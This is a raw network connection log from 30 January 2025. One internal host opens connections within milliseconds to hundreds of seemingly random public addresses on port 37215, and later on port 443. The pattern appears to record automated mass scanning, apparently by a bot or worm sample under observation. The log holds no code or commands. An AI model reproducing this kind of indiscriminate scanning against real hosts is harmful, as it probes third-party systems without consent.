Jan 30, 2025 10:43:03.087994099 CET	60295	37215	192.168.2.14	156.66.70.178
Jan 30, 2025 10:43:03.087997913 CET	60295	37215	192.168.2.14	197.140.140.104
Jan 30, 2025 10:43:03.087997913 CET	60295	37215	192.168.2.14	41.69.65.46
Jan 30, 2025 10:43:03.087997913 CET	60295	37215	192.168.2.14	197.254.231.239
Jan 30, 2025 10:43:03.088001966 CET	60295	37215	192.168.2.14	197.202.46.29
Jan 30, 2025 10:43:03.088017941 CET	60295	37215	192.168.2.14	156.252.15.252
Jan 30, 2025 10:43:03.088018894 CET	60295	37215	192.168.2.14	156.25.55.216
Jan 30, 2025 10:43:03.088018894 CET	60295	37215	192.168.2.14	197.80.216.237
Jan 30, 2025 10:43:03.088021040 CET	60295	37215	192.168.2.14	41.5.65.164
Jan 30, 2025 10:43:03.088026047 CET	60295	37215	192.168.2.14	41.82.78.229
Jan 30, 2025 10:43:03.088026047 CET	60295	37215	192.168.2.14	41.55.51.84
Jan 30, 2025 10:43:03.088033915 CET	60295	37215	192.168.2.14	197.16.216.223
Jan 30, 2025 10:43:03.088047028 CET	60295	37215	192.168.2.14	197.111.249.144
Jan 30, 2025 10:43:03.088049889 CET	60295	37215	192.168.2.14	156.160.193.122
Jan 30, 2025 10:43:03.088052988 CET	60295	37215	192.168.2.14	41.231.209.115
Jan 30, 2025 10:43:03.088057041 CET	60295	37215	192.168.2.14	41.11.60.92
Jan 30, 2025 10:43:03.088073015 CET	60295	37215	192.168.2.14	197.144.71.186
Jan 30, 2025 10:43:03.088073015 CET	60295	37215	192.168.2.14	156.247.111.8
Jan 30, 2025 10:43:03.088073969 CET	60295	37215	192.168.2.14	197.49.212.224
Jan 30, 2025 10:43:03.088083029 CET	60295	37215	192.168.2.14	197.35.117.190
Jan 30, 2025 10:43:03.088094950 CET	60295	37215	192.168.2.14	156.139.85.217
Jan 30, 2025 10:43:03.088099957 CET	60295	37215	192.168.2.14	41.249.130.85
Jan 30, 2025 10:43:03.088100910 CET	60295	37215	192.168.2.14	41.93.107.83
Jan 30, 2025 10:43:03.088615894 CET	39276	37215	192.168.2.14	197.29.13.133
Jan 30, 2025 10:43:03.089149952 CET	35772	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:03.089751959 CET	39234	37215	192.168.2.14	156.194.175.161
Jan 30, 2025 10:43:03.090296030 CET	59718	37215	192.168.2.14	41.34.237.9
Jan 30, 2025 10:43:03.090871096 CET	58744	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:03.091413021 CET	34680	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.091969013 CET	52512	37215	192.168.2.14	156.177.123.236
Jan 30, 2025 10:43:03.092514992 CET	60554	37215	192.168.2.14	156.1.4.40
Jan 30, 2025 10:43:03.092945099 CET	37215	60295	156.120.101.79	192.168.2.14
Jan 30, 2025 10:43:03.092959881 CET	37215	60295	156.56.113.247	192.168.2.14
Jan 30, 2025 10:43:03.093010902 CET	37215	60295	41.25.181.117	192.168.2.14
Jan 30, 2025 10:43:03.093020916 CET	60295	37215	192.168.2.14	156.120.101.79
Jan 30, 2025 10:43:03.093023062 CET	37215	60295	197.104.164.211	192.168.2.14
Jan 30, 2025 10:43:03.093033075 CET	37215	60295	197.50.147.158	192.168.2.14
Jan 30, 2025 10:43:03.093034029 CET	60295	37215	192.168.2.14	156.56.113.247
Jan 30, 2025 10:43:03.093044043 CET	60295	37215	192.168.2.14	41.25.181.117
Jan 30, 2025 10:43:03.093049049 CET	37215	60295	197.240.235.104	192.168.2.14
Jan 30, 2025 10:43:03.093055010 CET	60295	37215	192.168.2.14	197.104.164.211
Jan 30, 2025 10:43:03.093059063 CET	52562	37215	192.168.2.14	156.83.97.125
Jan 30, 2025 10:43:03.093069077 CET	37215	60295	197.192.23.76	192.168.2.14
Jan 30, 2025 10:43:03.093075991 CET	60295	37215	192.168.2.14	197.50.147.158
Jan 30, 2025 10:43:03.093081951 CET	37215	60295	156.39.227.199	192.168.2.14
Jan 30, 2025 10:43:03.093092918 CET	37215	60295	41.61.49.53	192.168.2.14
Jan 30, 2025 10:43:03.093125105 CET	60295	37215	192.168.2.14	197.192.23.76
Jan 30, 2025 10:43:03.093144894 CET	37215	60295	156.28.176.166	192.168.2.14
Jan 30, 2025 10:43:03.093153000 CET	60295	37215	192.168.2.14	197.240.235.104
Jan 30, 2025 10:43:03.093153000 CET	60295	37215	192.168.2.14	156.39.227.199
Jan 30, 2025 10:43:03.093153000 CET	60295	37215	192.168.2.14	41.61.49.53
Jan 30, 2025 10:43:03.093156099 CET	37215	60295	156.102.103.135	192.168.2.14
Jan 30, 2025 10:43:03.093161106 CET	37215	60295	41.232.44.93	192.168.2.14
Jan 30, 2025 10:43:03.093169928 CET	37215	60295	197.0.93.77	192.168.2.14
Jan 30, 2025 10:43:03.093187094 CET	37215	60295	41.75.145.217	192.168.2.14
Jan 30, 2025 10:43:03.093197107 CET	37215	60295	197.95.34.204	192.168.2.14
Jan 30, 2025 10:43:03.093206882 CET	37215	60295	197.90.142.137	192.168.2.14
Jan 30, 2025 10:43:03.093206882 CET	60295	37215	192.168.2.14	41.232.44.93
Jan 30, 2025 10:43:03.093206882 CET	60295	37215	192.168.2.14	156.102.103.135
Jan 30, 2025 10:43:03.093223095 CET	60295	37215	192.168.2.14	156.28.176.166
Jan 30, 2025 10:43:03.093223095 CET	60295	37215	192.168.2.14	197.0.93.77
Jan 30, 2025 10:43:03.093235970 CET	37215	60295	156.88.194.123	192.168.2.14
Jan 30, 2025 10:43:03.093241930 CET	60295	37215	192.168.2.14	41.75.145.217
Jan 30, 2025 10:43:03.093242884 CET	60295	37215	192.168.2.14	197.95.34.204
Jan 30, 2025 10:43:03.093245983 CET	37215	60295	41.249.2.11	192.168.2.14
Jan 30, 2025 10:43:03.093280077 CET	37215	60295	156.232.149.226	192.168.2.14
Jan 30, 2025 10:43:03.093283892 CET	60295	37215	192.168.2.14	156.88.194.123
Jan 30, 2025 10:43:03.093291044 CET	37215	60295	41.230.242.81	192.168.2.14
Jan 30, 2025 10:43:03.093295097 CET	60295	37215	192.168.2.14	197.90.142.137
Jan 30, 2025 10:43:03.093293905 CET	60295	37215	192.168.2.14	41.249.2.11
Jan 30, 2025 10:43:03.093300104 CET	37215	60295	41.91.156.124	192.168.2.14
Jan 30, 2025 10:43:03.093311071 CET	60295	37215	192.168.2.14	156.232.149.226
Jan 30, 2025 10:43:03.093317986 CET	60295	37215	192.168.2.14	41.230.242.81
Jan 30, 2025 10:43:03.093327999 CET	60295	37215	192.168.2.14	41.91.156.124
Jan 30, 2025 10:43:03.093353033 CET	37215	60295	197.103.154.219	192.168.2.14
Jan 30, 2025 10:43:03.093364954 CET	37215	60295	197.229.40.240	192.168.2.14
Jan 30, 2025 10:43:03.093374014 CET	37215	60295	41.100.159.230	192.168.2.14
Jan 30, 2025 10:43:03.093389988 CET	37215	60295	197.250.69.150	192.168.2.14
Jan 30, 2025 10:43:03.093400002 CET	37215	60295	41.26.214.111	192.168.2.14
Jan 30, 2025 10:43:03.093400002 CET	60295	37215	192.168.2.14	197.103.154.219
Jan 30, 2025 10:43:03.093404055 CET	60295	37215	192.168.2.14	41.100.159.230
Jan 30, 2025 10:43:03.093404055 CET	60295	37215	192.168.2.14	197.229.40.240
Jan 30, 2025 10:43:03.093420029 CET	60295	37215	192.168.2.14	197.250.69.150
Jan 30, 2025 10:43:03.093425989 CET	37215	60295	197.127.245.113	192.168.2.14
Jan 30, 2025 10:43:03.093436003 CET	37215	60295	197.152.162.45	192.168.2.14
Jan 30, 2025 10:43:03.093437910 CET	60295	37215	192.168.2.14	41.26.214.111
Jan 30, 2025 10:43:03.093461990 CET	60295	37215	192.168.2.14	197.127.245.113
Jan 30, 2025 10:43:03.093471050 CET	60295	37215	192.168.2.14	197.152.162.45
Jan 30, 2025 10:43:03.093672037 CET	44264	37215	192.168.2.14	41.38.203.130
Jan 30, 2025 10:43:03.093969107 CET	37215	60295	156.63.240.57	192.168.2.14
Jan 30, 2025 10:43:03.094002962 CET	60295	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:03.094060898 CET	37215	60295	156.241.31.32	192.168.2.14
Jan 30, 2025 10:43:03.094073057 CET	37215	60295	41.52.12.171	192.168.2.14
Jan 30, 2025 10:43:03.094082117 CET	37215	60295	41.166.172.126	192.168.2.14
Jan 30, 2025 10:43:03.094090939 CET	37215	60295	41.244.206.35	192.168.2.14
Jan 30, 2025 10:43:03.094101906 CET	60295	37215	192.168.2.14	156.241.31.32
Jan 30, 2025 10:43:03.094105959 CET	60295	37215	192.168.2.14	41.52.12.171
Jan 30, 2025 10:43:03.094109058 CET	37215	60295	197.244.25.250	192.168.2.14
Jan 30, 2025 10:43:03.094110966 CET	60295	37215	192.168.2.14	41.166.172.126
Jan 30, 2025 10:43:03.094126940 CET	37215	60295	197.191.195.50	192.168.2.14
Jan 30, 2025 10:43:03.094130993 CET	60295	37215	192.168.2.14	41.244.206.35
Jan 30, 2025 10:43:03.094137907 CET	37215	60295	197.173.19.78	192.168.2.14
Jan 30, 2025 10:43:03.094142914 CET	60295	37215	192.168.2.14	197.244.25.250
Jan 30, 2025 10:43:03.094147921 CET	37215	60295	197.236.244.150	192.168.2.14
Jan 30, 2025 10:43:03.094165087 CET	60295	37215	192.168.2.14	197.173.19.78
Jan 30, 2025 10:43:03.094167948 CET	60295	37215	192.168.2.14	197.191.195.50
Jan 30, 2025 10:43:03.094177008 CET	37215	60295	156.37.182.162	192.168.2.14
Jan 30, 2025 10:43:03.094182968 CET	60295	37215	192.168.2.14	197.236.244.150
Jan 30, 2025 10:43:03.094188929 CET	37215	60295	41.241.33.236	192.168.2.14
Jan 30, 2025 10:43:03.094198942 CET	37215	60295	41.126.119.146	192.168.2.14
Jan 30, 2025 10:43:03.094214916 CET	60295	37215	192.168.2.14	156.37.182.162
Jan 30, 2025 10:43:03.094214916 CET	37215	60295	197.70.12.4	192.168.2.14
Jan 30, 2025 10:43:03.094217062 CET	60295	37215	192.168.2.14	41.241.33.236
Jan 30, 2025 10:43:03.094225883 CET	37215	60295	197.239.162.180	192.168.2.14
Jan 30, 2025 10:43:03.094244003 CET	60295	37215	192.168.2.14	41.126.119.146
Jan 30, 2025 10:43:03.094247103 CET	60295	37215	192.168.2.14	197.70.12.4
Jan 30, 2025 10:43:03.094250917 CET	37215	60295	197.112.49.144	192.168.2.14
Jan 30, 2025 10:43:03.094261885 CET	37215	60295	41.231.230.182	192.168.2.14
Jan 30, 2025 10:43:03.094264984 CET	60295	37215	192.168.2.14	197.239.162.180
Jan 30, 2025 10:43:03.094270945 CET	37215	60295	156.159.173.44	192.168.2.14
Jan 30, 2025 10:43:03.094274998 CET	52950	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:03.094274998 CET	60295	37215	192.168.2.14	197.112.49.144
Jan 30, 2025 10:43:03.094293118 CET	37215	60295	41.31.85.244	192.168.2.14
Jan 30, 2025 10:43:03.094300985 CET	60295	37215	192.168.2.14	41.231.230.182
Jan 30, 2025 10:43:03.094304085 CET	37215	60295	197.130.170.18	192.168.2.14
Jan 30, 2025 10:43:03.094304085 CET	60295	37215	192.168.2.14	156.159.173.44
Jan 30, 2025 10:43:03.094340086 CET	60295	37215	192.168.2.14	41.31.85.244
Jan 30, 2025 10:43:03.094341040 CET	37215	60295	41.190.79.120	192.168.2.14
Jan 30, 2025 10:43:03.094352007 CET	60295	37215	192.168.2.14	197.130.170.18
Jan 30, 2025 10:43:03.094352961 CET	37215	60295	41.107.252.28	192.168.2.14
Jan 30, 2025 10:43:03.094362974 CET	37215	60295	197.242.78.42	192.168.2.14
Jan 30, 2025 10:43:03.094388008 CET	37215	60295	197.38.137.43	192.168.2.14
Jan 30, 2025 10:43:03.094388008 CET	60295	37215	192.168.2.14	41.190.79.120
Jan 30, 2025 10:43:03.094388008 CET	60295	37215	192.168.2.14	41.107.252.28
Jan 30, 2025 10:43:03.094389915 CET	60295	37215	192.168.2.14	197.242.78.42
Jan 30, 2025 10:43:03.094398975 CET	37215	60295	197.224.38.140	192.168.2.14
Jan 30, 2025 10:43:03.094429970 CET	60295	37215	192.168.2.14	197.38.137.43
Jan 30, 2025 10:43:03.094429970 CET	60295	37215	192.168.2.14	197.224.38.140
Jan 30, 2025 10:43:03.094435930 CET	37215	60295	156.143.222.131	192.168.2.14
Jan 30, 2025 10:43:03.094446898 CET	37215	60295	197.237.197.20	192.168.2.14
Jan 30, 2025 10:43:03.094455957 CET	37215	60295	156.53.20.154	192.168.2.14
Jan 30, 2025 10:43:03.094465971 CET	37215	60295	41.226.74.187	192.168.2.14
Jan 30, 2025 10:43:03.094479084 CET	60295	37215	192.168.2.14	197.237.197.20
Jan 30, 2025 10:43:03.094496012 CET	60295	37215	192.168.2.14	41.226.74.187
Jan 30, 2025 10:43:03.094507933 CET	60295	37215	192.168.2.14	156.53.20.154
Jan 30, 2025 10:43:03.094508886 CET	60295	37215	192.168.2.14	156.143.222.131
Jan 30, 2025 10:43:03.094752073 CET	37215	60295	41.137.89.6	192.168.2.14
Jan 30, 2025 10:43:03.094763041 CET	37215	60295	41.63.212.252	192.168.2.14
Jan 30, 2025 10:43:03.094774008 CET	37215	60295	41.217.207.58	192.168.2.14
Jan 30, 2025 10:43:03.094784021 CET	37215	60295	156.245.184.192	192.168.2.14
Jan 30, 2025 10:43:03.094793081 CET	60295	37215	192.168.2.14	41.137.89.6
Jan 30, 2025 10:43:03.094793081 CET	60295	37215	192.168.2.14	41.63.212.252
Jan 30, 2025 10:43:03.094794989 CET	37215	60295	156.146.31.145	192.168.2.14
Jan 30, 2025 10:43:03.094824076 CET	60295	37215	192.168.2.14	41.217.207.58
Jan 30, 2025 10:43:03.094827890 CET	60295	37215	192.168.2.14	156.245.184.192
Jan 30, 2025 10:43:03.094827890 CET	60295	37215	192.168.2.14	156.146.31.145
Jan 30, 2025 10:43:03.094856977 CET	37734	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:03.095428944 CET	52964	37215	192.168.2.14	156.130.242.158
Jan 30, 2025 10:43:03.095998049 CET	41240	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:03.096467972 CET	37215	34680	156.153.93.40	192.168.2.14
Jan 30, 2025 10:43:03.096507072 CET	34680	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.096561909 CET	52798	37215	192.168.2.14	156.104.45.241
Jan 30, 2025 10:43:03.097107887 CET	39370	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:03.097625971 CET	49802	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:03.098174095 CET	36088	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:03.098716974 CET	43722	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:03.099250078 CET	42848	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:03.099797964 CET	42412	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:03.100339890 CET	34656	37215	192.168.2.14	156.62.15.248
Jan 30, 2025 10:43:03.100889921 CET	36896	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:03.101428986 CET	43494	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:03.101999044 CET	39710	37215	192.168.2.14	156.198.8.184
Jan 30, 2025 10:43:03.102545977 CET	47108	37215	192.168.2.14	41.112.75.126
Jan 30, 2025 10:43:03.103080988 CET	58430	37215	192.168.2.14	156.30.253.189
Jan 30, 2025 10:43:03.103666067 CET	60520	37215	192.168.2.14	197.149.252.27
Jan 30, 2025 10:43:03.104202986 CET	48142	37215	192.168.2.14	156.219.241.54
Jan 30, 2025 10:43:03.104665995 CET	37215	42412	41.239.226.175	192.168.2.14
Jan 30, 2025 10:43:03.104726076 CET	42412	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:03.104760885 CET	43048	37215	192.168.2.14	197.136.191.103
Jan 30, 2025 10:43:03.105319023 CET	35322	37215	192.168.2.14	41.211.211.207
Jan 30, 2025 10:43:03.105869055 CET	33914	37215	192.168.2.14	197.110.199.188
Jan 30, 2025 10:43:03.106430054 CET	57382	37215	192.168.2.14	156.213.149.65
Jan 30, 2025 10:43:03.106971025 CET	39546	37215	192.168.2.14	156.83.177.40
Jan 30, 2025 10:43:03.107527018 CET	41768	37215	192.168.2.14	197.105.118.99
Jan 30, 2025 10:43:03.108079910 CET	45868	37215	192.168.2.14	156.149.194.238
Jan 30, 2025 10:43:03.108678102 CET	51474	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:03.109234095 CET	34502	37215	192.168.2.14	156.51.86.220
Jan 30, 2025 10:43:03.109766960 CET	40474	37215	192.168.2.14	41.77.182.85
Jan 30, 2025 10:43:03.110327959 CET	33106	37215	192.168.2.14	197.244.70.58
Jan 30, 2025 10:43:03.110896111 CET	52392	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:03.111445904 CET	39394	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:03.112003088 CET	42304	37215	192.168.2.14	41.146.171.72
Jan 30, 2025 10:43:03.112551928 CET	37006	37215	192.168.2.14	41.189.133.67
Jan 30, 2025 10:43:03.113132000 CET	57124	37215	192.168.2.14	197.23.77.148
Jan 30, 2025 10:43:03.113734007 CET	39668	37215	192.168.2.14	41.124.116.88
Jan 30, 2025 10:43:03.114315033 CET	39394	37215	192.168.2.14	156.190.165.129
Jan 30, 2025 10:43:03.114865065 CET	36574	37215	192.168.2.14	156.34.123.55
Jan 30, 2025 10:43:03.115207911 CET	33328	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:03.115492105 CET	39352	37215	192.168.2.14	41.47.146.109
Jan 30, 2025 10:43:03.116126060 CET	38474	37215	192.168.2.14	197.251.13.231
Jan 30, 2025 10:43:03.116225004 CET	37215	39394	156.140.48.212	192.168.2.14
Jan 30, 2025 10:43:03.116271973 CET	39394	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:03.116736889 CET	57468	37215	192.168.2.14	197.34.230.84
Jan 30, 2025 10:43:03.117369890 CET	44890	37215	192.168.2.14	156.209.197.148
Jan 30, 2025 10:43:03.118002892 CET	57930	37215	192.168.2.14	156.250.179.179
Jan 30, 2025 10:43:03.118601084 CET	58488	37215	192.168.2.14	41.139.22.90
Jan 30, 2025 10:43:03.119225979 CET	46020	37215	192.168.2.14	41.177.62.97
Jan 30, 2025 10:43:03.119836092 CET	51996	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:03.120438099 CET	36912	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:03.121037006 CET	44396	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:03.121622086 CET	49304	37215	192.168.2.14	156.195.165.210
Jan 30, 2025 10:43:03.122227907 CET	47634	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:03.122859955 CET	39580	37215	192.168.2.14	41.93.210.48
Jan 30, 2025 10:43:03.124748945 CET	37215	51996	156.1.171.213	192.168.2.14
Jan 30, 2025 10:43:03.124836922 CET	51996	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:03.139789104 CET	35920	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:03.140427113 CET	34680	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.140461922 CET	34680	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.140773058 CET	34794	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.141166925 CET	42412	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:03.141168118 CET	42412	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:03.141446114 CET	42498	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:03.141789913 CET	39394	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:03.141789913 CET	39394	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:03.142067909 CET	39440	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:03.142381907 CET	51996	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:03.142407894 CET	51996	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:03.142652035 CET	52016	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:03.145165920 CET	37215	35920	156.63.240.57	192.168.2.14
Jan 30, 2025 10:43:03.145225048 CET	35920	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:03.145289898 CET	35920	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:03.145302057 CET	35920	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:03.145307064 CET	37215	34680	156.153.93.40	192.168.2.14
Jan 30, 2025 10:43:03.145581007 CET	35930	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:03.146112919 CET	37215	34794	156.153.93.40	192.168.2.14
Jan 30, 2025 10:43:03.146123886 CET	37215	42412	41.239.226.175	192.168.2.14
Jan 30, 2025 10:43:03.146192074 CET	34794	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.146229982 CET	34794	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:03.147222042 CET	47520	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:03.147310972 CET	37215	39394	156.140.48.212	192.168.2.14
Jan 30, 2025 10:43:03.147346973 CET	37215	51996	156.1.171.213	192.168.2.14
Jan 30, 2025 10:43:03.147425890 CET	61319	443	192.168.2.14	2.241.129.140
Jan 30, 2025 10:43:03.147438049 CET	61319	443	192.168.2.14	178.88.148.168
Jan 30, 2025 10:43:03.147440910 CET	61319	443	192.168.2.14	210.65.72.194
Jan 30, 2025 10:43:03.147459030 CET	61319	443	192.168.2.14	117.109.78.118
Jan 30, 2025 10:43:03.147471905 CET	61319	443	192.168.2.14	118.210.214.163
Jan 30, 2025 10:43:03.147475004 CET	61319	443	192.168.2.14	109.108.108.107
Jan 30, 2025 10:43:03.147486925 CET	61319	443	192.168.2.14	148.129.197.224
Jan 30, 2025 10:43:03.147491932 CET	61319	443	192.168.2.14	5.232.12.228
Jan 30, 2025 10:43:03.147506952 CET	61319	443	192.168.2.14	202.92.133.91
Jan 30, 2025 10:43:03.147521019 CET	61319	443	192.168.2.14	117.140.69.75
Jan 30, 2025 10:43:03.147531986 CET	61319	443	192.168.2.14	117.152.177.171
Jan 30, 2025 10:43:03.147540092 CET	61319	443	192.168.2.14	123.219.111.80
Jan 30, 2025 10:43:03.147552967 CET	61319	443	192.168.2.14	94.135.251.164
Jan 30, 2025 10:43:03.147562981 CET	61319	443	192.168.2.14	148.114.112.246
Jan 30, 2025 10:43:03.147567034 CET	61319	443	192.168.2.14	37.64.185.65
Jan 30, 2025 10:43:03.147583961 CET	61319	443	192.168.2.14	42.63.123.169
Jan 30, 2025 10:43:03.147588968 CET	61319	443	192.168.2.14	178.249.191.21
Jan 30, 2025 10:43:03.147597075 CET	61319	443	192.168.2.14	109.205.188.198
Jan 30, 2025 10:43:03.147610903 CET	61319	443	192.168.2.14	148.95.15.24
Jan 30, 2025 10:43:03.147612095 CET	61319	443	192.168.2.14	42.209.134.220
Jan 30, 2025 10:43:03.147639036 CET	61319	443	192.168.2.14	202.84.23.156
Jan 30, 2025 10:43:03.147640944 CET	61319	443	192.168.2.14	212.255.149.39
Jan 30, 2025 10:43:03.147655010 CET	61319	443	192.168.2.14	37.147.140.118
Jan 30, 2025 10:43:03.147655964 CET	61319	443	192.168.2.14	117.64.170.145
Jan 30, 2025 10:43:03.147665024 CET	61319	443	192.168.2.14	202.254.130.12
Jan 30, 2025 10:43:03.147669077 CET	61319	443	192.168.2.14	117.166.87.161
Jan 30, 2025 10:43:03.147686958 CET	61319	443	192.168.2.14	117.45.21.179
Jan 30, 2025 10:43:03.147694111 CET	61319	443	192.168.2.14	2.142.128.9
Jan 30, 2025 10:43:03.147711039 CET	61319	443	192.168.2.14	109.4.113.106
Jan 30, 2025 10:43:03.147715092 CET	61319	443	192.168.2.14	37.117.208.168
Jan 30, 2025 10:43:03.147727966 CET	61319	443	192.168.2.14	5.228.38.177
Jan 30, 2025 10:43:03.147728920 CET	61319	443	192.168.2.14	202.78.236.122
Jan 30, 2025 10:43:03.147742987 CET	61319	443	192.168.2.14	94.250.92.14
Jan 30, 2025 10:43:03.147748947 CET	61319	443	192.168.2.14	42.163.70.143
Jan 30, 2025 10:43:03.147753954 CET	61319	443	192.168.2.14	37.178.216.6
Jan 30, 2025 10:43:03.147773981 CET	61319	443	192.168.2.14	37.82.152.197
Jan 30, 2025 10:43:03.147777081 CET	61319	443	192.168.2.14	5.121.39.18
Jan 30, 2025 10:43:03.147783995 CET	61319	443	192.168.2.14	117.204.36.65
Jan 30, 2025 10:43:03.147795916 CET	61319	443	192.168.2.14	178.214.224.246
Jan 30, 2025 10:43:03.147803068 CET	61319	443	192.168.2.14	178.116.160.232
Jan 30, 2025 10:43:03.147809029 CET	61319	443	192.168.2.14	5.123.113.155
Jan 30, 2025 10:43:03.147814989 CET	61319	443	192.168.2.14	210.200.32.210
Jan 30, 2025 10:43:03.147834063 CET	61319	443	192.168.2.14	148.198.105.34
Jan 30, 2025 10:43:03.147835016 CET	61319	443	192.168.2.14	202.147.40.161
Jan 30, 2025 10:43:03.147846937 CET	61319	443	192.168.2.14	37.103.238.89
Jan 30, 2025 10:43:03.147847891 CET	61319	443	192.168.2.14	123.187.216.31
Jan 30, 2025 10:43:03.147861958 CET	61319	443	192.168.2.14	202.62.38.200
Jan 30, 2025 10:43:03.147876978 CET	61319	443	192.168.2.14	42.128.25.183
Jan 30, 2025 10:43:03.147886038 CET	61319	443	192.168.2.14	212.98.67.68
Jan 30, 2025 10:43:03.147891045 CET	61319	443	192.168.2.14	118.182.38.85
Jan 30, 2025 10:43:03.147905111 CET	61319	443	192.168.2.14	118.53.51.255
Jan 30, 2025 10:43:03.147905111 CET	61319	443	192.168.2.14	37.76.92.180
Jan 30, 2025 10:43:03.147921085 CET	61319	443	192.168.2.14	42.91.197.188
Jan 30, 2025 10:43:03.147931099 CET	61319	443	192.168.2.14	117.109.51.78
Jan 30, 2025 10:43:03.147934914 CET	61319	443	192.168.2.14	123.52.46.236
Jan 30, 2025 10:43:03.147948980 CET	61319	443	192.168.2.14	202.103.212.47
Jan 30, 2025 10:43:03.147950888 CET	61319	443	192.168.2.14	5.164.91.216
Jan 30, 2025 10:43:03.147962093 CET	61319	443	192.168.2.14	118.233.64.174
Jan 30, 2025 10:43:03.147969961 CET	61319	443	192.168.2.14	5.70.240.172
Jan 30, 2025 10:43:03.147981882 CET	61319	443	192.168.2.14	123.165.43.77
Jan 30, 2025 10:43:03.147983074 CET	61319	443	192.168.2.14	178.130.184.202
Jan 30, 2025 10:43:03.147999048 CET	61319	443	192.168.2.14	94.209.20.94
Jan 30, 2025 10:43:03.148004055 CET	61319	443	192.168.2.14	109.17.118.12
Jan 30, 2025 10:43:03.148009062 CET	61319	443	192.168.2.14	117.253.147.140
Jan 30, 2025 10:43:03.148020983 CET	61319	443	192.168.2.14	94.210.92.150
Jan 30, 2025 10:43:03.148026943 CET	61319	443	192.168.2.14	202.174.184.108
Jan 30, 2025 10:43:03.148034096 CET	61319	443	192.168.2.14	109.220.131.196
Jan 30, 2025 10:43:03.148036957 CET	61319	443	192.168.2.14	109.72.180.137
Jan 30, 2025 10:43:03.148049116 CET	61319	443	192.168.2.14	212.49.90.55
Jan 30, 2025 10:43:03.148066044 CET	61319	443	192.168.2.14	42.154.12.153
Jan 30, 2025 10:43:03.148066044 CET	61319	443	192.168.2.14	42.177.177.179
Jan 30, 2025 10:43:03.148078918 CET	61319	443	192.168.2.14	118.43.104.79
Jan 30, 2025 10:43:03.148089886 CET	61319	443	192.168.2.14	210.179.209.0
Jan 30, 2025 10:43:03.148094893 CET	61319	443	192.168.2.14	118.244.1.192
Jan 30, 2025 10:43:03.148103952 CET	61319	443	192.168.2.14	178.25.168.38
Jan 30, 2025 10:43:03.148107052 CET	61319	443	192.168.2.14	42.121.255.245
Jan 30, 2025 10:43:03.148123026 CET	61319	443	192.168.2.14	5.19.235.174
Jan 30, 2025 10:43:03.148128986 CET	61319	443	192.168.2.14	148.49.126.42
Jan 30, 2025 10:43:03.148137093 CET	61319	443	192.168.2.14	123.162.144.211
Jan 30, 2025 10:43:03.148144960 CET	61319	443	192.168.2.14	202.238.7.153
Jan 30, 2025 10:43:03.148160934 CET	61319	443	192.168.2.14	212.176.58.71
Jan 30, 2025 10:43:03.148164988 CET	61319	443	192.168.2.14	5.149.217.236
Jan 30, 2025 10:43:03.148171902 CET	61319	443	192.168.2.14	210.158.236.4
Jan 30, 2025 10:43:03.148178101 CET	61319	443	192.168.2.14	2.1.82.12
Jan 30, 2025 10:43:03.148191929 CET	61319	443	192.168.2.14	109.159.235.229
Jan 30, 2025 10:43:03.148202896 CET	61319	443	192.168.2.14	202.179.29.112
Jan 30, 2025 10:43:03.148205042 CET	61319	443	192.168.2.14	148.167.52.248
Jan 30, 2025 10:43:03.148216009 CET	61319	443	192.168.2.14	212.188.74.191
Jan 30, 2025 10:43:03.148217916 CET	61319	443	192.168.2.14	210.218.104.73
Jan 30, 2025 10:43:03.148231983 CET	61319	443	192.168.2.14	118.112.209.54
Jan 30, 2025 10:43:03.148231983 CET	61319	443	192.168.2.14	42.37.111.205
Jan 30, 2025 10:43:03.148238897 CET	61319	443	192.168.2.14	94.76.70.175
Jan 30, 2025 10:43:03.148247004 CET	61319	443	192.168.2.14	94.39.197.112
Jan 30, 2025 10:43:03.148251057 CET	61319	443	192.168.2.14	178.9.211.103
